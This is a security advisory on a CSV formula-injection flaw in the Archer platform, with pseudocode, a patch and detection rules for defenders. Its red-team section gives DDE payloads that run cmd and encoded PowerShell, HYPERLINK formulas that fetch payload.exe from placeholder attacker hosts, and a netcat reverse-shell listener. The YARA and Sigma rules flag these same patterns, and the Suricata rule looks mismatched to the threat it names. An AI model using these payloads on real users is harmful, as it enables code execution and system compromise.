CVE-2025-50572

Executive Summary

CVE-2025-50572 is a CSV Injection vulnerability in Archer 6.11.00204.10014. An authenticated attacker can inject malicious formulas into system inputs that are exported to a CSV file. When a user opens this CSV with a spreadsheet application (e.g., Microsoft Excel, LibreOffice Calc), the formulas execute, potentially leading to arbitrary code execution on the user's machine. The vendor has disputed this report, but the technical risk remains for end users.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct application-level issue in the Archer platform.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker sends crafted input over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid Archer account.
• User Interaction (UI): Required (R) – Victim must open the CSV file.
• Scope (S): Unchanged (U) – The exploit stays within the victim's spreadsheet application.
• Confidentiality (C): High (H) – Potential to read local files.
• Integrity (I): High (H) – Potential to modify files.
• Availability (A): High (H) – Potential to execute commands.

CVSS Score: 7.5 (High) – Exploitation requires user interaction but can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the CSV export functionality of Archer. When generating a CSV file from user-supplied data (e.g., report names, comments, or custom fields), the application fails to sanitize or escape characters that are interpreted as formulas by spreadsheet software. Specifically, characters like =, +, -, @, and % at the beginning of a cell are treated as formula prefixes.

An attacker can inject a payload such as:

=CMD|'/C calc'!A0

or

=HYPERLINK("http://malicious.com/payload.exe","Click Me")

When the victim exports a report containing this data and opens the CSV in Excel, the formula executes. In the case of CMD|'/C calc'!A0, Excel will attempt to execute the calc command (or any arbitrary command). Modern versions of Excel show a warning, but many users ignore it.

The vendor's dispute likely stems from the requirement of user interaction and the fact that the vulnerability is in the CSV output, not in the core application logic. However, from a threat intelligence perspective, this is a valid attack vector for phishing and social engineering campaigns.

Vulnerable vs. Patched Code

Vulnerable Code (Archer 6.11.00204.10014): The CSV export function does not sanitize input fields. For example, in a PHP-like pseudocode:

function exportToCSV($data) {
    $csv = '';
    foreach ($data as $row) {
        $csv .= implode(',', $row) . "\n";
    }
    file_put_contents('export.csv', $csv);
}

No escaping of formula characters.

Patched Code (Hypothetical): The patched version would prepend a single quote (') or a tab character to any cell starting with a formula character, preventing the spreadsheet from interpreting it as a formula.

function sanitizeCSV($value) {
    $dangerous = ['=', '+', '-', '@', '%'];
    if (in_array($value[0], $dangerous)) {
        $value = "'" . $value;
    }
    return $value;
}

function exportToCSV($data) {
    $csv = '';
    foreach ($data as $row) {
        $sanitizedRow = array_map('sanitizeCSV', $row);
        $csv .= implode(',', $sanitizedRow) . "\n";
    }
    file_put_contents('export.csv', $csv);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid Archer account with access to a feature that exports CSV (e.g., report generation).
• Victim user who will open the CSV.

Steps:

1. Log in to Archer.
2. Navigate to a report or list that allows custom input (e.g., a comment field).
3. Inject a payload into the input field. Example payloads:
   • =CMD|'/C powershell -e <base64_encoded_payload>'!A0
   • =HYPERLINK("http://attacker.com/payload.exe","Click Here")
4. Save the input.
5. Export the report as CSV.
6. Send the CSV file to the victim via email or other means.
7. When the victim opens the CSV in Excel and clicks "Enable Content" (if prompted), the payload executes.

Lab Setup:

• Use a local Archer instance (if available) or a trial version.
• Set up a listener on your attacker machine (e.g., nc -lvnp 4444).
• Use a reverse shell payload in the CSV injection.

Blue Team

Detection:

• Monitor for CSV files being generated and downloaded from Archer.
• Look for suspicious patterns in CSV files, especially cells starting with =, +, -, @, or %.
• Use DLP (Data Loss Prevention) to block CSV files containing formula characters.

Prevention:

• Implement input validation and output encoding in the CSV export function.
• Educate users to never enable content in CSV files from untrusted sources.
• Use Group Policy to disable DDE (Dynamic Data Exchange) in Excel.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for CSV files with suspicious content)
• Network Indicators: Outbound connections to attacker-controlled IPs from Excel processes.
• Process Indicators: Excel spawning cmd.exe, powershell.exe, or wscript.exe.
• Registry Keys: (None specific to this CVE)
• YARA Rule: (See Detection Engineering)

Detection Engineering

YARA Rule

rule CVE_2025_50572_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection patterns"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50572"
    strings:
        $formula1 = /^[=+\-@%]/ 
        $formula2 = /CMD\|/
        $formula3 = /HYPERLINK\(/
    condition:
        any of ($formula*) and filesize < 10MB
}

Sigma Rule

title: CSV Injection via Archer Export
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CSV files generated by Archer containing formula injection characters
author: Valters IT
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        Image: '*\EXCEL.EXE'
        TargetFilename: '*.csv'
    condition: selection
falsepositives:
    - Legitimate CSV files with formula characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50572 Archer CSV Injection - Outbound Connection"; flow:to_server,established; content:"GET"; http_method; content:"/export.csv"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable CSV Export: Temporarily disable the CSV export feature in Archer until a patch is available.
2. User Education: Train users to never enable content or macros in CSV files.
3. Group Policy: Disable DDE in Excel via Group Policy:
   • HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\DisableDDEServerLookup = 1

Long-Term Fix:

• Apply a vendor patch when released.
• Implement input sanitization in the CSV export function (see patched code example).
• Use a CSV library that automatically escapes formula characters.

Workaround:

• Use a web proxy or WAF to inspect and block CSV files containing formula characters.

Valters IT
Securing Your Digital Frontier